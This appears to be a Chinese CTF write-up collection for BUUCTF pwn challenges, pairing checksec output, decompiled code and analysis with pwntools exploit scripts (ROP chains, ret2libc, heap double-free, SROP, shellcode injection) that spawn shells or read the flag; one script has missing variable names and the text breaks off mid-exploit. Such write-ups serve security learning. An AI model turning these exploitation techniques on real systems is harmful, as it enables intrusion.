20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#coding:utf8
from pwn import *

sh = remote('node3.buuoj.cn',25021)
#sh = process('./ciscn_final_4')
#sh = process('./test')
libc = ELF('libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
environ_s = libc.symbols['__environ']

fake_chunk = p64(0) + p64(0x81)
payload = 'a'*0xE8 + fake_chunk

sh.sendafter('what is your name?',payload)

def add(size,content):
sh.sendlineafter('>>','1')
sh.sendlineafter('size?',str(size))
sh.sendafter('content?',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('index ?',str(index))

def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('index ?',str(index))

#0
add(0x100,'a'*0x100)
#1
add(0x78,'b'*0x78)
#2
add(0x78,'c'*0x78)
#3
add(0x38,'d'*0x38)
#4
add(0x38,'e'*0x38)
#5
add(0x10,'d'*0x10)
#6
add(0x81,'f'*0x81)
#heap_size数组的0x81数据用于伪造chunk的size
heapsize6_addr = 0x0000000000602058
note_addr = 0x00000000006020C0

delete(0)
show(0)
sh.recvuntil('\n')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
environ_addr = libc_base + environ_s
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
#add rsp, 0x148 ; ret
add_rsp_148 = libc_base + 0x00000000000353aa
openat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
print 'libc_base=',hex(libc_base)
print 'environ_addr=',hex(environ_addr)
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(heapsize6_addr - 0x8)) #7
add(0x78,'c') #8
add(0x78,'a') #9
#控制notesize以及note数组
payload = '\x00'*0x60
payload += p64(environ_addr) #ptr0
add(0x78,payload) #10
#泄露栈地址
show(0)
sh.recvuntil('\n')
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
fake_chunk_stack_addr = stack_addr - 0x120
print 'fake_chunk_stack_addr=',hex(fake_chunk_stack_addr)
#利用同样的方法分配到栈上伪造的chunk
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #11
add(0x78,'c') #12
add(0x78,'a') #13
#写栈
add(0x78,'d'*0x11) #14
#泄露canary
show(14)
sh.recvuntil('d'*0x11)
canary = u64(sh.recv(7).rjust(8,'\x00'))
print 'canary=',hex(canary)
#重新分配到fake_chunk_stack_addr,布置rop
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #15
add(0x78,'c') #16
add(0x78,'a') #17
#由于长度不够输入,我们调用read继续输入rop
next_rop_addr = fake_chunk_stack_addr + 0x88
payload = 'a'*0x40
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(next_rop_addr) + p64(pop_rdx) + p64(0x1000) + p64(read_addr)
add(0x78,payload) #18

#由于无法触发main函数rop,因为有一个死循环,所以我们劫持new函数来rop到main后面
#接下来,分配到new函数的栈末尾处
fake_chunk_stack_addr2 = stack_addr - 0x246
#double free
delete(3)
delete(4)
delete(3)
add(0x38,p64(fake_chunk_stack_addr2)) #15
add(0x38,'c') #16
add(0x38,'a') #17

payload = 'd'*0x6 + p64(canary) + p64(0)
payload += p64(add_rsp_148) #跳到main函数后面的rop里
#new函数返回到add_rsp_148进而跳到main后面的rop里
add(0x38,payload)

flag_addr = next_rop_addr + 0x88
#openat(0,flag_addr,0)
rop = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdi) + p64(0) + p64(openat_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
rop += '/flag\x00'
sleep(0.5)
sh.send(rop)

sh.interactive()

ciscn_2019_n_1

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]

init(*(_QWORD *)&argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin("Welcome to this Encryption machine\n");
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin("I think you can do it by yourself");
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin("%d");
}
puts("Something Wrong!");
return 0;
}

 encrypt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

没有binsh字符串,没有system函数,应该是一个puts函数泄露libc的题

BUUCTF的resource一栏有libc.so文件

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",25460)

elf = ELF("./ciscn_2019_c_1")
libc = ELF("./libc-2.27.so")

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.sym["main"]

libc_puts = libc.sym["puts"]
system = libc.sym["system"]
binsh = next(libc.search('/bin/sh'))

pop_rdi = 0x0400c83
leave_ret = 0x04006b9

payload = 'A'*(0x50+8) + p64(pop_rdi)+ p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.recvuntil("Input your choice!\n")
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload)

p.recvuntil('@\n')
puts_real = u64(p.recv(6).ljust(8,"\x00"))
libc_base = puts_real - libc_puts
system_real = system + libc_base
binsh_real = binsh + libc_base
payload = '\x00'*(0x50+8) + p64(leave_ret) + p64(pop_rdi) + p64(binsh_real) + p64(system_real)

p.recvuntil("Input your choice!\n")
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload)
p.interactive()

还有一个坑就是Ubuntu18下面调用system要对齐栈,就需要用一个ret
参照EXP:[https://www.jianshu.com/p/f6839b1e7283](

ciscn_2019_n_3

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

发现程序有三个功能

1
2
3
4
puts("1. New note");
puts("2. Del note");
puts("3. Show note");
puts("4. Purchase Pro Edition") //这个没用

rec_str_free

1
2
3
4
5
6
int __cdecl rec_str_free(void *ptr)
{
free(*((void **)ptr + 2));
free(ptr);
return puts("Note freed!");
}

free后指针未清零

3.GDB动态调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//code:
newnote(0,2,'a'*10,0x88)
//gdb
0x8cf7000 FASTBIN {
prev_size = 0,
size = 17,
fd = 0x80486de <rec_str_print>,
bk = 0x8048725 <rec_str_free>,
fd_nextsize = 0x8cf7018,
bk_nextsize = 0x91
}
0x8cf7010 PREV_INUSE {
prev_size = 147812376,
size = 145,
fd = 0x61616161,
bk = 0x61616161,
fd_nextsize = 0xa6161,
bk_nextsize = 0x0
}

发现申请的堆里面含有rec_str_free的指针

我们可以利用UAF来修改指针,从而getshell

4.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context.log_level = 'debug'
elf = ELF("ciscn_2019_n_3")
p = process("./ciscn_2019_n_3")
#p = remote(rmt,port)

def newnote(idx,type,value,length=0):
p.recvuntil("CNote > ")
p.sendline(str(1))
p.recvuntil("Index > ")
p.sendline(str(idx))
p.recvuntil("Type > ")
p.sendline(str(type))
if type == 1:
p.recvuntil("Value > ")
p.sendline(str(value))
else:
p.recvuntil("Length > ")
p.sendline(str(length))
p.recvuntil("Value > ")
if length == 8:
p.send(value)
else:
p.sendline(value)
def delnote(idx):
p.recvuntil("CNote > ")
p.sendline(str(2))
p.recvuntil("Index > ")
p.sendline(str(idx))
def shownote(idx):
p.recvuntil("CNote > ")
p.sendline(str(3))
p.recvuntil("Index > ")
p.sendline(str(idx))
if __name__ == "__main__":
newnote(0,2,'a'*10,0x88)
newnote(1,2,'a'*10,0x38)
gdb.attach(p)
newnote(2,1,0x41)
#newnote(2,2,'b'*10,0x38)
delnote(1)
delnote(2)
newnote(3,2,'aaaa'+p32(elf.plt['system']),0xc)
#gdb.attach(p)
newnote(4,2,"/bin/sh\x00",0x38)
delnote(1)

p.interactive()

ciscn_2019_n_5

1.checksec

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-20h]

setvbuf(stdout, 0LL, 2, 0LL);
puts("tell me your name");
read(0, &name, 0x64uLL);
puts("wow~ nice name!");
puts("What do you want to say to me?");
gets(&v4, &name);
return 0;
}

name

1
2
3
4
5
6
7
8
9
.bss:0000000000601080                 public name
.bss:0000000000601080 name db ? ; ; DATA XREF: main+35↑o
.bss:0000000000601081 db ? ;
.bss:0000000000601082 db ? ;
.bss:0000000000601083 db ? ;
.bss:0000000000601084 db ? ;
.bss:0000000000601085 db ? ;
.bss:0000000000601086 db ? ;
.bss:0000000000601087 db ? ;

既然没有保护,应该是shellcode,所以不要往复杂的方向想

shellcode + 溢出 + 栈转移

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",26651)
elf = ELF("./ciscn_2019_n_5")
context(arch='amd64',os='linux')

name_addr = 0x0601080

shellcode = asm(shellcraft.sh())
p.recvuntil('tell me your name\n')
p.sendline(shellcode)
payload = 'a'*(0x20+8)+p64(name_addr)
p.recvuntil('me?')
p.sendline(payload)
p.interactive()

context的类型一定要写

ciscn_2019_n_8

1.checksec()

1
2
3
4
5
6
[*] '/root/download/BUUCTF/ciscn_2019_n_8/ciscn_2019_n_8'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

全保护,我尿了

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]

var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5); // ====+STACK_OVERFLOW+====
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}

第一个输入让var[13]为17可以进入,不管用啥方式,覆盖52个位置就可以传递17这个数字了,超级简单

3.EXP

1
2
3
4
5
6
7
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26629)
#p = process("./ciscn_2019_n_8")
payload = "a"*52 + p32(17)
p.sendlineafter("?",payload)
p.interactive()

ciscn_2019_ne_5

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // [esp+0h] [ebp-100h]
char src[4]; // [esp+4h] [ebp-FCh]
char v5; // [esp+8h] [ebp-F8h]
char s1[4]; // [esp+84h] [ebp-7Ch]
char v7; // [esp+88h] [ebp-78h]
int *v8; // [esp+F4h] [ebp-Ch]

v8 = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(&v7, 0, 0x60u);
*(_DWORD *)src = 0x30;
memset(&v5, 0, 0x7Cu);
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf((int)"%100s", (int)s1);
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
while ( 1 )
{
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf((int)"%d", (int)&v3);
switch ( v3 )
{
case 0:
exit(0);
return;
case 1:
AddLog((int)src);
break;
case 2:
Display(src);
break;
case 3:
Print();
break;
case 4:
GetFlag(src);
break;
default:
continue;
}
}
}

GetFlag

1
2
3
4
5
6
7
8
9
10
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h]
char v3; // [esp+4h] [ebp-44h]

*(_DWORD *)dest = 0x30;
memset(&v3, 0, 0x3Cu);
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}

取程序里面fflush的sh填入system参数+栈溢出

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",26685)
#p = process("./ciscn_2019_ne_5")
elf = ELF("./ciscn_2019_ne_5")

sys_addr = elf.plt['system']
sh_addr = 0x080482E0+0xA

payload = 'a'*(0x48+4)+p32(sys_addr)+'aaaa'+p32(sh_addr)

p.recvuntil('Please input admin password:')
p.sendline('administrator')

p.recvuntil('0.Exit\n:')
p.sendline('1')

p.recvuntil('Please input new log info:')
p.sendline(payload)

p.recvuntil('0.Exit\n:')
p.sendline('4')

p.interactive()

ciscn_2019_s_3

1.checksec()

1
2
3
4
5
6
7
root@joe1sn:~/download/BUUCTF/ciscn_2019_s_3# checksec ciscn_s_3
[*] '/root/download/BUUCTF/ciscn_2019_s_3/ciscn_s_3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln();
}

vuln

1
2
3
4
5
6
7
8
9
signed __int64 vuln()
{
signed __int64 result; // rax

__asm { syscall; LINUX - sys_read }
result = 1LL;
__asm { syscall; LINUX - sys_write }
return result;
}

居然是汇编,这种题从来没遇见过

不过看得出来(结合汇编)

sys_write:向栈上写数据(0x400)

sys_read:从栈上读数据(0x30)

查了查WP

https://blog.csdn.net/github_36788573/article/details/103541178

  • 3WriteUp分析
  • 主要是gadget函数有东西
1
2
3
4
5
6
7
8
9
10
; __unwind {
push rbp
mov rbp, rsp
mov rax, Fh
retn
mov rax, 59
retn
pop rbp
retn
} // starts at 4004D6

先是向rax传递了0xf,在linux的系统调用表示

sys_rt_sigreturn(unsigned long _unused)

15号系统调用sigreturn。这个系统调用是在终止信号恢复用户态环境时用的。那么我们在栈上伪造寄存器的值,那么恢复时就可将寄存器控制为我们想要的值。

向rax传递了59,在linux的系统调用表示

sys_exec(const char *filename,const char *const argv[],const char *,const envp[])

就相当于system函数

59号系统调用是execve那么就可以想办法控制寄存器的值调用execve(“/bin/sh”,0,0),注意在调用execve时,后面两个参数需要置0,由于需要控制rdx的值,所以选择使用通用gadget,__libc_csu_init。

这就引申出两种解题方法

4.1 59号系统调用

ropgadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Gadgets information
============================================================
0x00000000004004a3 : mov byte ptr [rip + 0x200b86], 1 ; ret
0x00000000004004e3 : mov eax, 0x3b ; ret
0x00000000004004db : mov eax, 0xf ; ret
0x00000000004004d8 : mov ebp, esp ; mov rax, 0xf ; ret
0x00000000004004e2 : mov rax, 0x3b ; ret
0x00000000004004da : mov rax, 0xf ; ret
0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop r14 ; pop r15 ; ret
0x00000000004005a2 : pop r15 ; ret
0x00000000004004a2 : pop rbp ; mov byte ptr [rip + 0x200b86], 1 ; ret
0x000000000040059b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400440 : pop rbp ; ret
0x00000000004005a3 : pop rdi ; ret
0x00000000004005a1 : pop rsi ; pop r15 ; ret
0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004003a9 : ret

Unique gadgets found: 18
3.EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",26249)

vuln_addr = 0x04004ED
execv = 0x04004E2
pop_rdi = 0x04005A3
pop_5_ret = 0x040059A
mov_RDX_r13 =0x0400580
sys_write = 0x0400517

payload = "/bin/sh\x00"*2 + p64(vuln_addr)
p.send(payload)
p.recv(0x20)
= u64(p.recv(8)) - 280
print(hex( ))

payload = "/bin/sh\x00"*2 + p64(pop_5_ret) + p64(0)*2
payload += p64( +0x50)+p64(0)*3
payload += p64(mov_RDX_r13) + p64(execv)
payload += p64(pop_rdi) + p64( ) + p64(sys_write)
p.send(payload)
p.interactive()

这个EXP是可以打通的,看上去和普通write泄露libc的EXP差不多

其实包含了很多汇编的底层知识

4.2FramingSignals-AReturntoPortableShellcode

SROP

FramingSignals-AReturntoPortableShellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

io=process('./ciscn_s_3')

main=0x0004004ED
sigret=0x4004DA
sys=0x400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys
pl1='a'*16+p64(sigret)+p64(sys)+str(frame)
'''
def debug(addr):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
debug('0x400514')
'''
pl2='/bin/sh\x00'*2+p64(sigret)+p64(sys)+str(frame)
io.send(pl2)
io.interactive()

参考南梦的打法
CTF-BUUCTF-Pwn刷题之旅-

ciscn_2019_s_4

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

vuln

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\n", &s);
}

两次很短的栈溢出,第一次ebp leak,第二次leave ret

3.GDB

  • **1.**输入0x20+4个字符串,泄露ebp
1
2
3
ECX: 0xffffcff0 ('a' <repeats 36 times>, "\n\320\377\377(\320\377\377*\206\004\b\334c\373\367@\320\377\377")
................
EBP: 0xffffd018 --> 0xffffd028 --> 0x0
1
2
>>> hex(0xffffcff0- 0xffffd018)
'-0x28'

下一步时,程序会抬栈,所以这时候的buf为0xffffd028,偏移量为0x28-0x10

  • 2.构造payload

主要目标是:让程序ret到栈开始的地方,将刚才构造的payload当作命令执行

1
pl2=('aaaa'+p32(sys_plt)+'bbbb'+p32(buf+0x10)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf)+p32(leave)

4.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = "debug"
#p = remote("node3.buuoj.cn","26826")
p = process("./ciscn_s_4")
elf = ELF("./ciscn_s_4")

leave=0x8048562
sys_plt=0x8048400

pl1='a'*0x24+'bbbb'
p.send(pl1)
p.recvuntil('bbbb')
ebp=u32(p.recv(4))
success("EBP =>0x%x",ebp)
context.terminal=["tmux",'splitw','-h']
gdb.attach(p)

buf=ebp-0x38
pl2=('aaaa'+p32(sys_plt)+'bbbb'+p32(buf+16)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf)+p32(leave)
p.send(pl2)

p.interactive()

cisncn_2019_s_6

ciscn_2019_es_1一样

ciscn_2019_s_9

1.checksec

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

估计和shellcode相关

2.IDA

pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int pwn()
{
char s[24]; // [esp+8h] [ebp-20h]

puts("\nHey! ^_^");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");
puts(">");
fflush(stdout);
fgets(s, 50, stdin);
puts("OK bye~");
fflush(stdout);
return 1;
}

第十行栈溢出

hint

1
2
3
4
5
6
7
8
9
; Attributes: bp-based frame
;void hint
public hint
hint proc near
; __unwind {
push ebp
mov ebp, esp
jmp esp
hint endp

利用jmp esp实现跳转

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = "debug"
elf = ELF("./ciscn_s_9")
p = remote("node3.buuoj.cn","25940")

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
gadget = asm("sub esp,0x28 ; jmp esp")
jmp_esp = 0x08048554

payload = shellcode.ljust(0x24,'\x00')+p32(jmp_esp)+gadget
p.sendline(payload)
p.interactive()

cmcc_pwnme1

1.checksec

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

2.IDA

getfruit

1
2
3
4
5
6
7
8
9
int getfruit()
{
char v1; // [esp+14h] [ebp-A4h]

fflush(stdout);
printf("Please input the name of fruit:");
__isoc99_scanf("%s", &v1);
return printf("oh,%s...\n", &v1);
}

栈溢出

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("./pwnme1")
p = remote("node3.buuoj.cn","28427")

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
getfruit = 0x08048624

payload = 'a'*(0xA4+4)
payload += p32(puts_plt)+p32(getfruit)+p32(puts_got)

p.sendlineafter(">> 6. Exit ",'5')
p.sendlineafter("Please input the name of fruit:",payload)


puts_real = u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
libc = LibcSearcher("puts",puts_real)
base = puts_real-libc.dump("puts")
sys_addr = base+libc.dump("system")
binsh = base+libc.dump("str_bin_sh")
success("libc base 0x%x",base)
success("binsh 0x%x",binsh)
success("system 0x%x",sys_addr)

payload = 'a'*(0xA4+4)
payload += p32(sys_addr)+'aaaa'+p32(binsh)
p.sendlineafter("Please input the name of fruit:",payload)
p.interactive()

cmcc_pwnme2

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

userfunction

1
2
3
4
5
6
int __cdecl userfunction(char *src)
{
char dest; // [esp+Ch] [ebp-6Ch]
strcpy(&dest, src);
return printf("Hello, %s\n", src);
}

之前在main里面输入过多的话,会导致这里栈溢出

exec_string

1
2
3
4
5
6
7
8
9
10
11
12
13
int exec_string()
{
char s; // [esp+Bh] [ebp-Dh]
FILE *stream; // [esp+Ch] [ebp-Ch]

stream = fopen(&string, "r");
if ( !stream )
perror("Wrong file");
fgets(&s, 50, stream);
puts(&s);
fflush(stdout);
return fclose(stream);
}

string变量在bss段上,要想执行它,就必须把/flag命令写到string上,这里就可以构造payload

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = "debug"
sh = remote("node3.buuoj.cn",28490)
elf = ELF("pwnme2")
pop_ebp_ret = 0x08048680
offset = 0x6C+4
payload = offset * "a"
payload += p32(elf.plt['gets'])
payload += p32(pop_ebp_ret)
payload += p32(0x0804A060)#bss_string
payload += p32(0x080485CB)#exec_string
sh.sendlineafter("Please input:",payload)
sh.sendline("/flag")
sh.interactive()

cmcc_simplerop

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

发现了超级多的无用函数

main

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h]

puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 100);
}

很明显的read溢出,但是不大好的构造ropchain,所以先用ROPgadget自动生成ropchain,但是需要调整长度

ROPgadget --binary simplerop --ropchain

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from struct import pack
#io=process('./simplerop')
io=remote("node3.buuoj.cn",25035)
io.recvuntil(':')
# Padding goes here
p = 'a'*0x14+p32(1)*3
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx pop ecx pop edx; ret
p += pack('<I', 0x0)
p += pack('<I', 0x0)
p += pack('<I', 0x080ea060) #bin/sh
p += pack('<I', 0x080bae06) #pop eax
p += pack('<I', 0xb) # eax=0xb
p += pack('<I', 0x080493e1) #int 80
io.send(p)
io.interactive()
print hex(len(p))

ez_pz_hackover_2016

1.checksec

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

2.IDA

main

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0);
header();
chall();
return 0;
}

chall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int chall()
{
size_t v0; // eax
int result; // eax
char s; // [esp+Ch] [ebp-40Ch]
_BYTE *v3; // [esp+40Ch] [ebp-Ch]

printf("Yippie, lets crash: %p\n", &s);
printf("Whats your name?\n");
printf("> ");
fgets(&s, 1023, stdin);
v0 = strlen(&s);
v3 = memchr(&s, 10, v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", &s);
result = strcmp(&s, "crashme");
if ( !result )
result = vuln((unsigned int)&s, 0x400u);
return result;
}

vuln

1
2
3
4
5
6
void *__cdecl vuln(char src, size_t n)
{
char dest; // [esp+6h] [ebp-32h]

return memcpy(&dest, &src, n);
}

strlen()遇见’\x00’截断

s 和 vuln里面dest 的ebp 的距离

memchr比较前十个字符串

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",29397)
#p = process("./ez_pz_hackover_2016")

p.recvuntil("Yippie, lets crash: 0x")
stack_addr = int(p.recv(8),16)
